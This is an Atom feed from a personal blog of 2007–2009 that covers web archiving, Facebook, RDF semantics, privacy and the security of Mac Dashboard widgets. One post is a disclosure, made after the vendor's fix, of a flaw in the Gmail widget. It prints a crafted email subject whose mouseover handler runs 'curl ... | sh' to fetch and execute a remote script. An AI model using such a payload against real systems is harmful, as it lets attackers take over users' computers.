<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
   <title>No Such Weblog</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/" />
   <link rel="self" type="application/atom+xml" href="http://log.does-not-exist.org/atom.xml" />
   <id>tag:log.does-not-exist.org,2009://2</id>
   <updated>2009-04-18T18:49:26Z</updated>
   <subtitle>Thomas Roessler&apos;s notes on geek life in Luxembourg -- and less virtual topics.</subtitle>
   <generator uri="http://www.sixapart.com/movabletype/">Movable Type 3.35</generator>

<entry>
   <title>Persistence is hard.</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2009/03/27/2178_persistence_is_hard.html" />
   <id>tag:log.does-not-exist.org,2009://2.2178</id>
   
   <published>2009-03-27T15:21:07Z</published>
   <updated>2009-03-27T15:39:13Z</updated>
   
   <summary>Keeping historical documents around is hard, as my native city of Cologne painfully experienced a few weeks ago, when the city archive collapsed. But it&apos;s also hard on the web. Case in point, a number of important early specifications for...</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term="web stuff" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      <![CDATA[Keeping historical documents around is hard, as my native city of Cologne painfully experienced a few weeks ago, when the city archive collapsed.

But it's also hard on the web.  Case in point, a number of important early specifications for the Web (like pre-standard SSL, or the original Cookie spec) have traditionally been sitting at <code>netscape.com</code> URIs.  Unfortunately, AOL seems to have pulled these pages around the time they disbanded the remains of Netscape.

While the <a href="http://www.archive.org">wayback machine</a> helps us out this time, one would wish that organizations that acquire historically important technology spent more effort preserving the documents they have. With the consolidation that the economic crisis will bring, I fear that this hasn't been the last time that these kinds of historical documents disappear from their canonical location.
]]>
      
   </content>
</entry>
<entry>
   <title>Facebook me!</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2009/02/22/2177_facebook_me.html" />
   <id>tag:log.does-not-exist.org,2009://2.2177</id>
   
   <published>2009-02-22T17:45:16Z</published>
   <updated>2009-02-22T19:13:31Z</updated>
   
   <summary>While I&apos;m usually comfortable using social networks of all kinds, I hadn&apos;t ever joined Facebook. Well, the recent ruckus about their terms of service tickled my interest sufficiently that I finally gave in. There really is no such thing as...</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term="web stuff" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      <![CDATA[While I'm usually <a href="http://twitter.com/roessler">comfortable</a> <a href="http://www.dopplr.com/traveller/tlr">using</a> <a href="http://www.flickr.com/photos/roessler/">social</a> <a href="http://www.linkedin.com/in/roessler">networks</a> of all kinds, I hadn't ever joined Facebook.

Well, the recent <a href="http://romeda.org/blog/2009/02/facebook-is-closed-for-anything.html">ruckus about their terms of service</a> tickled my interest sufficiently that I finally gave in. <img alt="no-such-thing.png" align="right" src="http://log.does-not-exist.org/no-such-thing.png" width="300" /> There <a href="http://people.w3.org/~djweitzner/blog/?p=182">really is no such thing as bad publicity for facebook</a>.

Now, what's interesting about it for this latecomer? Beside not finding much actually useful or new on facebook (well, perhaps except for new lows in advertising<img alt="im-a-jerk.png" src="http://log.does-not-exist.org/im-a-jerk.png" width="193" height="229"  align="right"/>), two points really struck me: An incredibly simple user interface, literally going out of the way when it should, making it as easy as at all possible to let me do what I'd most likely want to do -- and all that, of course, within the walled garden's fences.  As an exhibit, consider the exchange between Ann Bassetti and myself up there: With Twitter, I'd have linked to it. In Facebook, it seems like I can't do that, so your only chance is going into the walled garden and trying to search for it. Second, a subtle persuasion that I'm safe and secure there. For the first couple of "friends", I'm bothered with a CAPTCHA (which goes away eventually), to "make sure I'm legit"; when I "friend" somebody who isn't in the "same network" as I am, I'm politely told that (and why!) I can't see their profile. Nothing like letting your users softly run into limits if you want to convince them that they're protected by these limits, and that you're their friend, by enforcing these limits. Remember: Facebook is your friend, it <a href="http://www.youtube.com/watch?v=ZMWz3G_gPhU">is not scary</a>, and it helps you keep your privacy. There is <a href="http://blog.facebook.com/blog.php?post=54434097130">nothing that Facebook would ever do wrong with your data.</a> It helps you keep your privacy.

It's almost fortunate, then, that Facebook also inflicted one of its little indiscretions on me...

<img alt="iphone.png" src="http://log.does-not-exist.org/iphone.png" width="400" height="39" />

I hadn't quite told the world that I had given in to that particular temptation, yet, despite <a href="http://log.does-not-exist.org/archives/2008/09/21/2174_iphone_3g_im_not_buying_it.html">some misgivings on principles</a>. Well, this takes care of that.

So, what's the conclusion? So far, Facebook indeed very much looks like <a href="http://hitherto.net/2007/10/18/facebook-the-hotel-california-of-social-networks/">Hotel California</a>,  with nice rooms, and a somewhat chatty concierge. Nothing to see here as far as I'm concerned, except for network effects in action, and some really neat persuasion packed into UI.

(Good that I can use Twitter to update my status.)

 <script src="http://badge.facebook.com/badge/1494727281.427.1690218536.js"></script>]]>
      
   </content>
</entry>
<entry>
   <title>Si tacuisses, Enrique, ...</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2008/07/20/2171_si_tacuisses_enrique_.html" />
   <id>tag:log.does-not-exist.org,2008://2.2171</id>
   
   <published>2008-07-20T14:46:24Z</published>
   <updated>2008-07-20T14:48:46Z</updated>
   
   <summary>Among the great privileges of working at W3C is the occasional geeking with people like Michael Sperberg-McQueen&apos;s evil twin Enrique. Enrique&apos;s latest is on what RDF gets us. In that blog item, RDF is characterized as an extremely thin semantic...</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term="web stuff" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      <![CDATA[Among the great privileges of working at W3C is the occasional geeking with people like Michael Sperberg-McQueen's evil twin Enrique.

Enrique's latest is on <a title="Messages in a bottle * Blog Archive * Enrique on what RDF gets us" href="http://people.w3.org/~cmsmcq/blog/?p=60">what RDF gets us</a>.  In that blog item, RDF is characterized as an extremely thin semantic layer -- interestingly, ignoring the <a href="http://www.w3.org/TR/rdf-mt/">RDF Semantics</a> recommendation.  The point of that recommendation is that RDF is -- even when you ignore RDF schema, OWL and friends -- more than just nodes, arrows, and URIs.
]]>
      <![CDATA[The critical piece that's added is a bit of logic that effectively tells you the following rules (which are really flip-sides of each other):

<ul>
<li>You can always add more stuff, and that won't invalidate anything you've learned so far.</li>
<li>You can always remove stuff, but you won't learn anything new if you do.</li>
</ul>

If you think of RDF as a framework to do web-scale data aggregation, then these are very useful principles: They guarantee that you won't run into a world of inconsistency when you discover additional information, and they also guarantee that you can learn things about the world piece by piece. These principles permit relatively stupid and generic software to draw useful conclusions without knowing anything about the "real" meaning of data. They are also why comparing XML and RDF is comparing apples and oranges: There's nothing in XML that permits software to make similar assumptions; XML's semantic layer is indeed thinner than RDF's. All the interesting logic  needs to be dealt with on the application layer.

Now, one important piece of Enrique's thinking is that precisely the thinness of RDF's semantic layer (similar to the thinness of XML's) is what makes it appealing. So, what does the semantic layer that the <a href-"http://www.w3.org/TR/rdf-mt/">RDF Semantics</a> add mean for that argument?  The gain is clear, in that tools can make stronger assumptions about the data they deal with, and some aspects of application logic are pushed deeper in the stack. The price, though, is that those who model data on top of RDF need to understand what constraints are imposed on them by the format's properties -- in an RDF world, there isn't much of a "no"; "<a href="http://xkcd.com/451/">si tacuisset, philosophus mansisset</a>" is a conclusion that won't work, since once you're a philosopher, you remain so till the end of your days.

RDF semantics, therefore, is exposed to criticism from two angles:  On the small scale, it imposes restrictions on those who model data -- restrictions that are harder to understand than those imposed by just using XML trees, and that can indeed bite badly. On the large scale, real life isn't monotonic (we invalidate prior knowledge all the time), and RDF's modeling can't deal with that. The first of these criticisms is ultimately about the ability of people to use the model. The second is about the problem space to which the model can be applied.

XML is "dumb" enough to not be subject to either of these criticisms.  It is, however, not even trying to address the issues that large-scale data integration and aggregation will bring. ]]>
   </content>
</entry>
<entry>
   <title>Youtube data disclosures: The limits of data governance.</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2008/07/03/2170_youtube_data_disclosures_the_limits_of_data_governance.html" />
   <id>tag:log.does-not-exist.org,2008://2.2170</id>
   
   <published>2008-07-03T12:01:53Z</published>
   <updated>2008-07-03T18:48:25Z</updated>
   
   <summary>Wired.com reports that a US judge compelled YouTube Google to turn over its complete user logs - including time stamps and IP addresses, which might be used to discover the real life identity behind a request. Denied motions in the...</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term="web stuff" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      <![CDATA[Wired.com <a title="Judge Orders YouTube to Give All User Histories to Viacom | Threat Level from Wired.com" href="http://blog.wired.com/27bstroke6/2008/07/judge-orders-yo.html">reports</a> that a US judge <a href="http://blog.wired.com/27bstroke6/files/viacom_youtube.PDF">compelled YouTube <strike>Google</strike> to turn over its complete user logs</a> - including time stamps and IP addresses, which might be used to discover the real life identity behind a request.

Denied motions in the same decision include the disclosure of Google's and Youtube's search engine source code, private videos, and various database schemata.

Leaving aside that Viacom's demand for assorted crown jewels smells of an attempt to force YouTube into a settlement, the judge's decision really is a staggering example of the limits of data governance: Building data avoidance into protocols and services makes privacy-threatening disclosures hard or impossible; it also limits the usefulness of some services. But approaches that accept (almost unlimited) storage and processing of data (and then rely on technology and procedures to enforce certain rules) are ultimately limited by the ability of the surrounding legal and social system to stick to these rules. That really means two things: On the one hand, the social context needs to hold data processors accountable for the privacy promises that they make. On the other hand, it must not turn into a threat to these promises itself.

This case is a particularly spectacular example of the latter aspect, made worse by an environment in which little is ever forgotten.

Food for thought when you next dump personal data into some Web 2.0 information silo.
]]>
      
   </content>
</entry>
<entry>
   <title>Some recent talks: Usability, Policy languages, Widgets, and HTML5</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2008/05/27/2169_some_recent_talks_usability_policy_languages_widgets_and_html5.html" />
   <id>tag:log.does-not-exist.org,2008://2.2169</id>
   
   <published>2008-05-27T11:47:10Z</published>
   <updated>2008-05-27T11:57:47Z</updated>
   
   <summary>Blogging has been light here for a while, though Twittering hasn&apos;t. The past few months have seen a busy travel schedule and a number of talks; maybe time to quickly dump links to the various slide sets here: At RSA...</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term="web stuff" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      <![CDATA[Blogging has been light here for a while, though <a href="http://twitter.com/roessler">Twittering</a> hasn't.

The past few months have seen a busy travel schedule and a number of talks; maybe time to quickly dump links to the various slide sets here:

<ul>
<li>At <a href="http://www.rsaconference.com/">RSA Conference</a> in San Francisco, I spoke on a panel about security usability with <a href="http://www.w3.org/2006/WSC/">fellow Web Security Context Working Group</a> members Mary Ellen Zurko, Rachna Dhamija, and Phillip Hallam-Baker. No slides, but a reasonably nice discussion.</li>
<li>At the <a href="http://www.www2008.org">Web Conference</a> in Beijing, just two weeks later, I ended up on a <a href="http://www.w3.org/Policy/pling/wiki/WWW2008">panel on policy languages</a>, with Renato Iannella, Piero Bonatti, and Lalana Kagal.</li>
<li>Also at the Web Conference, I spoke about <a href="http://www.w3.org/2008/Talks/0425-devtrack-tlr/slides.pdf">Widgets - Web Vulnerabilities for All</a>, taking a look under the hood of some commonly found widgets, and explaining how they can be used to break into your computer.  As much as I like that Widgets are making it easier to write portable network client applications, as much do I think that the current platforms' security models make it far too risky to actually run these beasts. We've got some catch-up work to do there.</li>
<li>In <a href="http://www.w3.org/2008/Talks/0424-w3ctrack-tlr/0424-w3ctrack-tlr.pdf">Web Application Security Issues</a> at the same conference, I also talked about widgets, but then asked the question what the programming practices there tell us about the future of Web Applications, when ever more security critical code actually runs on the client. That outlook is rather dark right now, in terms of security. (Although it won't get much worse than the current situation.)</li> 
<li>Finally, I went to nearby Ghent, to <a href="https://www.owasp.org/index.php/AppSecEU08_HTML5">talk about HTML5 and what's security relevant in there</a>. Slides here: <a href="http://www.w3.org/2008/Talks/0521-owasp-html5-tlr/0521-owasp-html5-tlr.pdf">Would you like fries with that?</a>  In short, there's a bunch of good work being done in that spec, but other parts need some serious attention from the security community.</li>
</ul>

]]>
      
   </content>
</entry>
<entry>
   <title>When Widgets Go Bad</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2007/12/28/2160_when_widgets_go_bad.html" />
   <id>tag:log.does-not-exist.org,2007://2.2160</id>
   
   <published>2007-12-28T15:32:56Z</published>
   <updated>2008-01-09T19:55:31Z</updated>
   
   <summary>My lightning talk from 24c3 this morning, on youtube:...</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term="web stuff" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      <![CDATA[My lightning talk from 24c3 this morning, on youtube:

<object width="425" height="350"> <param name="movie" value="http://www.youtube.com/v/G7wcfu367T4"/> <embed src="http://www.youtube.com/v/G7wcfu367T4" type="application/x-shockwave-flash" width="425" height="350"/> </object>]]>
      
   </content>
</entry>
<entry>
   <title>More on widgets: When one e-mail is enough to break a system.</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2007/12/19/2159_more_on_widgets_when_one_email_is_enough_to_break_a_system.html" />
   <id>tag:log.does-not-exist.org,2007://2.2159</id>
   
   <published>2007-12-19T20:28:19Z</published>
   <updated>2008-01-09T21:19:22Z</updated>
   
   <summary>Excuse the widget blogging hiatus, please; I held back on this one till Google had rolled out a fix. Our topic today, then, is the Gmail dashboard widget -- a handy dashboard frontend to Google Mail. As so many other...</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term="web stuff" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      <![CDATA[<p>Excuse the widget blogging hiatus, please; I held back on this one till <a href="http://googlemac.blogspot.com/2007/12/mac-os-x-dashboard-widget-security.html">Google had rolled out a fix</a>.</p>

<p><img src="http://does-not-exist.org/gmail-0.png" align="right"/>Our topic today, then, is the <a href="http://www.google.com/macwidgets/">Gmail dashboard widget</a> -- a handy dashboard frontend to Google Mail. As so many other widgets, this one, too, runs with access to the <code>widget.system</code> method. However, the bug in question here does not relate to <code>eval()</code>.  Instead, it's script-injection into the DOM due to a lack of output cleansing in the client-side JavaScript code. It's, effectively, the same kind of vulnerability that underlies cross-site-scripting vulnerabilities in servers; for a change, however, this is a client-side problem.</p>

<p>Consider this code fragment:</p>

<blockquote><pre>
      var titleText = MessagesTable
           .getTitleTextFromEntryElement(currentEntry);
      titleText =
          '&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class="title-class">' 
          + titleText
          + '&lt;/span>';
      if (Prefs.getShowSnippets()) {
        var summaryText = MessagesTable.getSummary(currentEntry);
        summaryText = '&lt;span class="snippet-class"> - ' 
          + summaryText
          + '&lt;/span>';
        titleText += summaryText;
      }
      titleText = "&lt;div class='table-overflow-col'>" 
        + titleText + "&lt;/div>";
      ...
      titleColumn.innerHTML = titleText;
</pre></blockquote>

<p>The use of the non-standard <code>innerHTML</code> property to write to the DOM here means that, if we can inject tags into the <code>titleText</code> variable, we can actually write tags into that document object model.</p>

<p>Instead of reading more code, I sent a first message to my GMail account, with this subject:</p>

<blockquote><pre>
 Subject: &lt;i>italic?&lt;/i>
</pre></blockquote>

<p>Now, guess how that message came out in the GMail widget... So, we can write tags into the DOM. The simple approach of just dropping some <code>&lt;script></code> tags into the subject header failed, though: <code>innerHTML</code> doesn't actually execute scripts right away.</p>

<p>However, this worked:</p>
<blockquote><pre>
Subject: &lt;a href="#" onmouseover=
  'var foo=widget.system ("curl http://does-not-exist.org/test
  | sh", null).outputString;'>&lt;span class="title-class">hi 
  there&lt;/span>&lt;/a>
</pre></blockquote>

<p>As soon as the mouse pointer hovered over the subject header of this message, a shell script would be downloaded from my web server, and then executed, with the user's privileges -- the machine was taken over by sending a single e-mail, combined with a likely and innocuous user interaction.</p>

<p>What this example (as the other, earlier ones) demonstrates is that, as Web technologies move to the desktop, bad coding practices move with them. However, what was once a problem that might affect one server-side application now tuns into a way to subvert client computers -- easily, quickly, and thoroughly, and with no more tools than the ability to write a simple e-mail.</p>

<p>Possible fixes to this problem include escaping any user-supplied data that is expected to contain text before feeding it to dangerous programming constructs such as <code>.innerHTML</code>, or using safer programming constructs such as <code>createTextNode</code>.</p>

<p>The recent observations about widgets suggest several more general points, though: On the one hand, figuring out useful security models for widgets is an important task (that the <a href="http://www.w3.org/2006/appformats/">W3C Web Application Formats Working Group</a>, which works on a <a href="http://www.w3.org/TR/widgets/">widget format</a>, will have to take on, together with the various widget vendors).</p>

<p>On the other hand, it's clear that fancy security models are not enough: We need to spread the word about sane programming practices for widgets, and quite likely some code review from those who advertise others' code as safe to download.</p>

<p>Finally, these kinds of issues are not just a problem with widgets: Just this Wednesday, <a href="http://www.news.com/Data-thieving-worm-targets-Orkut-users/2100-7349_3-6084932.html">Orkut</a> was hit by a worm that was exploiting server-side cross-site scripting vulnerabilities. As we see more and more cross-site requests and data flows -- either through <a href="http://www.w3.org/TR/access-control/">cross-site XMLHttpRequest</a>, or through <a href="http://developer.yahoo.com/common/json.html#callbackparam">deliberate cross-site script inclusion</a> --, we'll see attacks like these cross site boundaries. We'll also see combined server and client-side attacks, just enabled by web technologies.</p>

<p>I hope to talk more about this at <a href="http://events.ccc.de/congress/2007/Lightning_Talks">this year's Chaos Communication Congress</a> in Berlin, and perhaps at the <a href="http://www.www2008.org/">Web Conference</a> next April in Beijing.</p>]]>
      
   </content>
</entry>
<entry>
   <title>More on widgets: Exploring the Network</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2007/12/08/2157_more_on_widgets_exploring_the_network.html" />
   <id>tag:log.does-not-exist.org,2007://2.2157</id>
   
   <published>2007-12-08T00:33:34Z</published>
   <updated>2007-12-08T01:44:34Z</updated>
   
   <summary>In my last musings about widget security, I was very brief about the Flickr Interestingness and Hockey widgets. After all, they both just provide the AllowNetworkAccess capability. I had overlooked that there is a shared cookie store on the Mac,...</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term="web stuff" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      <![CDATA[In my <a href="http://log.does-not-exist.org/archives/2007/12/04/2156_show_me_a_jsonbased_widget.html">last musings about widget security</a>, I was very brief about the Flickr Interestingness and Hockey widgets. After all, they both just provide the <code>AllowNetworkAccess</code> capability. I had overlooked that there is a <a href="http://developer.apple.com/documentation/Cocoa/Reference/Foundation/Classes/NSHTTPCookieStorage_Class/Reference/Reference.html">shared cookie store</a> on the Mac, shared, that is, at least by Safari and the Dashboard. From a bit of experimenting, it seems like that sharing affects all non-session cookies.

Now, what does that mean? A widget with the <code>AllowNetworkAccess</code> privilege can issue HTTP requests anywhere.  These HTTP requests will carry the same cookies as a request from a just-started Safari instance. Therefore, any Web application that relies on persistent cookies for authentication (like many Web 2.0 services) can be used by such a Widget <i>without the user's permission</i>.

There are several attack scenarios here: A subverted widget could be a bridgehead behind a corporate firewall, with convenient access to intranet applications. And when a Web 2.0 site serves as the path through which a widget is exploited, then subverting widgets with <code>AllowNetworkAccess</code> might in fact be enough to deploy some rather interesting malware.
]]>
      
   </content>
</entry>
<entry>
   <title>Show me a JSON-based Widget...</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2007/12/04/2156_show_me_a_jsonbased_widget.html" />
   <id>tag:log.does-not-exist.org,2007://2.2156</id>
   
   <published>2007-12-04T16:54:45Z</published>
   <updated>2007-12-18T21:39:28Z</updated>
   
   <summary>... and I show you an unguarded eval(). Today&apos;s examples: The Facebook Widget accesses about a dozen facebook APIs through JSON. It&apos;s based on the facebook JS Library. And guess what the parseJSON routine in that library really is? This...</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term="web stuff" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      <![CDATA[... and I show you an unguarded <code>eval()</code>.

Today's examples:

<ul>
<li>The <a href="http://www.apple.com/downloads/dashboard/email_messaging/facebookwidget.
html">Facebook Widget</a> accesses about a dozen facebook APIs through JSON. It's based on the <a href="http://developersdigest.org/wordpress/?page_id=4">facebook JS Library</a>. And guess what the parseJSON routine in that library really is? This widget runs with the <code>AllowFullAccess</code> configuration option set.</li>
<li>The <a href="http://www.apple.com/downloads/dashboard/blogs_forums/flickrinterestingness.html">Flickr Interestingness</a> widget is another culprit. This one only runs with the <code>AllowInternetPlugins</code> flag; if subverted, it might give an attacker access to, say, the latest Quicktime hole. Don't think it's enough to secure your browser.</li>
<li>The <a href="http://www.apple.com/downloads/dashboard/sports/hockeywidget.html">Hockey Widget</a> doesn't do JSON; instead, it loads some web page and parses an embedded script by, you guess it, feeding it to <code>eval()</code>, after some minor searching and replacing. <code>AllowNetworkAccess</code> is set.</li>
</ul>

The bad teaching award of the day goes to the AOL Xdrive developer documentation: The <a href="http://dev.aol.com/node/640">Open XDrive Usage Meter</a> of course accesses XDrive through JSON, and of course it uses <code>eval()</code> to parse. It has a sibling <a href="http://dev.aol.com/node/649">Windows Vista sidebar gadget</a>; same problem. By the way, the <a href="http://msdn2.microsoft.com/en-us/library/aa965881.aspx">security model</a> for these gadgets gives access to ActiveX controls that are <i>not</i> marked "safe for scripting".

Questions?]]>
      
   </content>
</entry>
<entry>
   <title>JSON + eval(): Owning the Dashboard</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2007/12/03/2155_json_eval_owning_the_dashboard.html" />
   <id>tag:log.does-not-exist.org,2007://2.2155</id>
   
   <published>2007-12-03T20:51:33Z</published>
   <updated>2007-12-03T23:10:48Z</updated>
   
   <summary>Twitter has been all the rage for a while; I&apos;ll admit that I&apos;ve been a late adopter (I&apos;ve had an account since yesterday). It seems useful as a quick news agregator (with feeds like the NY Times and Heise) --...</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term="web stuff" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      <![CDATA[<a href="http://www.twitter.com/">Twitter</a> has been all the rage for a while; I'll admit that I've been a late adopter (I've had an account since yesterday). It seems useful as a quick news agregator (with feeds like the NY Times and Heise) -- in particular when coupled to a dashboard widget on the Mac.

There are two dashboard widgets that let you both post and follow: <a href="http://inner.geek.nz/projects/twitterlex/">Twitterlex</a> and  <a href="http://ben-ward.co.uk/widgets/twitgit/">Twitgit</a>. In plain English, both of these are huge security risks that create an <i>easy</i> way for an attacker on your network to take over your Mac. Uninstall them till there are new versions.

In technical terms, both are relatively simple pieces of JavaScript.  Both use <a href="http://www.json.org/">JSON</a> to retrieve their data through the <a href="http://groups.google.com/group/twitter-development-talk/web/api-documentation">Twitter API</a>. Both use <code>eval()</code> to evaluate the JSON data.

And that's a pretty big deal: JSON is short for JavaScript Object Notation. That means that data are encoded in a subset of the JavaScript programming language, the same language that these two widgets are written in. <code>eval()</code>, then, is the simplest way to parse that information: Instead of doing anything fancy, the data are fed to the JavaScript interpreter. Which will do its thing, and duly interpret whatever it is given.

And, for these Widgets, there is no sandbox to the rescue: While bad (and unsafe) JavaScript is a matter that affects just the perpetrator when it happens on an ordinary Web page, the sandbox for Dashboad widgets is actually <a href="http://developer.apple.com/documentation/AppleApplications/Reference/Dashboard_Ref/DashboardPlist/chapter_4_section_1.html#//apple_ref/doc/uid/TP40001339-CH205-BAJCBIDE">configurable</a>, Needless to say, both widgets are using that configurability: They both have the <code>AllowSystem</code> option set, to enable the <a href="http://developer.apple.com/documentation/AppleApplications/Reference/Dashboard_Ref/GadgetObj/chapter_2_section_3.html#//apple_ref/doc/uid/TP40001339-CH203-DontLinkElementID_24"><code>widget.system()</code></a> function. That method is used to execute arbitrary command line utilities, i.e., it grants as full control over the system as the user has -- and that often includes control over the <code>/Applications</code> folder.

Twitterlex, incidentally, at least has a  reason to open the sandbox, using Growl for notifications. Quickly looking through Twidgit, I couldn't find any there, except that there was probably an example somewhere with the same code in it. Twitterlex makes up for this slight advantage by having an update notification mechanism that calls <code>eval()</code> on data retrieved from some URI on the programmer's Web server. What's currently returned from there looks benign; still, this would make for a marvelous backdoor.

How realistic are attacks against this kind of code? Very much so. Both widgets check Twitter regularly. Risks -- leaving malice on the side of one of the "legitimate" data providers aside for a moment -- include a subverted Twitter server (cross-site scripting will be enough, even though Twitter fortunately appears to be quite paranoid about that), a subverted server on the author's side in the case of Twitterlex, and a man-in-the-middle attack against the data retrieval. The latter is quite easy to launch, as no cryptographic protection is used at all: Either ettercap or a subverted captive portal will do nicely.

All this illustrates some security fundamentals: When there are easy, but insecure, options, people will exercise them. If they can use <code>eval()</code> instead of <a href="http://www.json.org/js.html"><code>JSON.parse()</code></a>, they will do that. If they can break out of a sandbox, they"ll do that. In particular if that doesn't keep the widgets from being installed. And if these two things can be done in one widget to make life more interesting, then that will happen, too.

Finally, if the same programming platform can be used locally that is known from the Web, then we'll see the same programming style (and mistakes), and we'll see local and Web vulnerabilities blur into each other.
]]>
      
   </content>
</entry>
<entry>
   <title>Facebook: Third-party cookies on steroids</title>
   <link rel="alternate" type="text/html" href="http://log.does-not-exist.org/archives/2007/11/15/2149_facebook_thirdparty_cookies_on_steroids.html" />
   <id>tag:log.does-not-exist.org,2007://2.2149</id>
   
   <published>2007-11-15T18:32:07Z</published>
   <updated>2007-11-15T21:37:10Z</updated>
   
   <summary>In Privacy versus cross-context aggregation, Wendy Seltzer points to stories by David Weinberger and Ethan Zuckerman about facebook&apos;s latest marketing coup: When facebook users go shopping online (e.g., with Blockbuster) then their shopping behavior is pushed to facebook and used...</summary>
   <author>
      <name>Thomas Roessler</name>
      <uri>http://log.does-not-exist.org</uri>
   </author>
         <category term="web stuff" scheme="http://www.sixapart.com/ns/types#category" />
   
   
   <content type="html" xml:lang="en" xml:base="http://log.does-not-exist.org/">
      <![CDATA[In <a href="http://wendy.seltzer.org/blog/archives/2007/11/15/facebook-privacy-versus-cross-context-aggregation.html">Privacy versus cross-context aggregation</a>, Wendy Seltzer points to stories by <a href="http://www.huffingtonpost.com/david-weinberger/facebooks-privacy-defaul_b_72687.html">David Weinberger</a> and <a href="http://www.ethanzuckerman.com/blog/2007/11/15/facebook-changes-the-norms-for-web-purchasing-and-privacy/">Ethan Zuckerman</a> about facebook's latest marketing coup: When facebook users go shopping online (e.g., with Blockbuster) then their shopping behavior is pushed to facebook and used for advertising. From Weinberger's description:

<blockquote>The new ad infrastructure enables Facebook to extend their reach onto other companies' sites. For example, if you rent a copy of "Biodome" from Blockbuster.com, Blockbuster will look for a Facebook cookie on your computer. If it finds one, it will send a ping to Facebook. The Blockbuster site will pop up a "toast" (= popup) asking if you want to let your friends at Facebook know that you rented "Biodome." If you say yes, next time you log into Facebook, Facebook will ask you to confirm that you want to let your friends know of your recent rental. If you say yes, that becomes an event that's propagated in the news feed going to your friends.</blockquote>

While, technically, Blockbuster can't look for a facebook cookie, it can give facebook the opportunity to look for it itself, and in the process hand off information about the purchase.  That can be done through redirects, frames, or any other number of techniques. Some of these techniques involve JavaScript, some don't. Ultimately, what we have here is the return of the 1990s third-party cookie, but on steroids, and used not just to track users' page views, but to link business information across vendors.

(Not having either a facebook or a Blockbuster acocunt, I don't know what the precise technique used is; I'd be curious to learn more about that. If anyone feels like drilling down further, <a href="https://addons.mozilla.org/en-US/firefox/addon/966">tamper data</a> and <a href="http://www.getfirebug.com/">Firebug</a> are among the tools of choice.)

The more general point, though, is independent of the precise mechanism used to pass on the data: Today's Web is an environment in which applications have lots of opportunities to communicate among each other, to aggregate data, and to mash-up information from different sources. What is useful infrastructure in a Web 2.0 application becomes a privacy threat when used maliciously.

Enabling social processes becomes key: How can we make sure Web applications' data flows become comprehensible to users -- both from an infrastructure and a usability perspective? And how can we make sure Web application providers need to state their intentions transparently, providing levers for social and regulatory enforcement? These questions bring us back all the way to <a href="http://www.w3.org/P3P/">P3P</a>; using P3P policies as a trigger for cookie handling in IE6 demonstrated how to use technical capabilities as a lever to enable at least some social transparency of business behavior.

